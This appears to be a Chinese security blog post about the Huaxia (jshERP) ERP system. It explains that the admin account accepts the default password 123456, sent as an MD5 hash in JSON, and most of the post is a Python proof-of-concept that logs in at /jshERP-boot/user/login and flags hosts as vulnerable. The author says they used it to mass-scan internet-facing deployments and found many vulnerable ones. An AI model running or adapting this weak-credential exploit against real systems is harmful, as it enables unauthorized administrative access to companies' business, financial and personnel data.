一、背景
华夏ERP是一款面向企业的综合业务管理系统,主要用于帮助企业管理和优化其业务流程,提高运营效率。华夏ERP系统通常包含多个模块,涵盖了企业日常运营的各个方面,如财务管理、供应链管理、生产管理、人力资源管理等。
二、测试
来源于上一个POC编写存在admin账户随机进行弱口令猜测为123456,通过测试登录成功;观察请求包发行密码进行了加密,并且通过json格式进行提交。如下:之后进行了互联网批量漏洞的挖掘还是有很多的。
三、POC编写
import json
import re
import requests
#host头部正则模块
def parse_address(input_str):
# 移除前后空白并进行匹配
input_str = input_str.strip()
# 正则表达式匹配IP地址(含端口)和域名(含端口)
pattern = re.compile(
r'https?://' + # 协议
r'(?:' +
r'(?P<ip>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' + # IP地址
r'(?::(?P<ip_port>\d+))?|' + # IP端口
r'|' +
r'(?P<domain>[\w.-]+)' + # 域名
r'(?::(?P<domain_port>\d+))?' + # 域名端口
r')' +
r'(/[^\s]*)?' # 可选的路径部分,忽略
r'$'
)
match = pattern.match(input_str)
if match:
# 根据匹配到的内容构建输出
if match.group('ip'): # 是IP地址
ip_add = match.group('ip')
if match.group('ip_port'):
ip_add += f":{match.group('ip_port')}"
else: # 是域名
domain_or_ip = match.group('domain')
ip_add = domain_or_ip
if match.group('domain_port'):
ip_add += f":{match.group('domain_port')}"
return ip_add
else:
return "无效的输入,无法解析IP地址或域名。"
# 创建poc模块接收参数
def cmd(url):
# 创建payliad
payload = "/jshERP-boot/user/login"
url1 = f"{url}{payload}"
ip_add = parse_address(url)
headers = {
'Host':f"{ip_add}",
'Content-Length':'67',
'Accept':'application/json, text/plain, */*',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36',
'Content-Type':'application/json;charset=UTF-8',
'Referer':f'{url}/user/login'
}
data ={"loginName":"admin","password":"e10adc3949ba59abbe56e057f20f883e"}
json_data = json.dumps(data)
try:
response = requests.post(url1,headers=headers,data=json_data,verify=False,timeout=3) #发送get请求,超时3秒
print(response.text)
if response.status_code == 200 and "user can login" in response.text:
print ( f"【+】{url}存在该漏洞\n")
else:
print(f"【-】{url}不存在该漏洞\n")
except Exception as e :
print( f"【*】{url}存在异常;请检测!!\n")
if __name__ == '__main__':
url = "ip地址"
cmd(url)
结果展示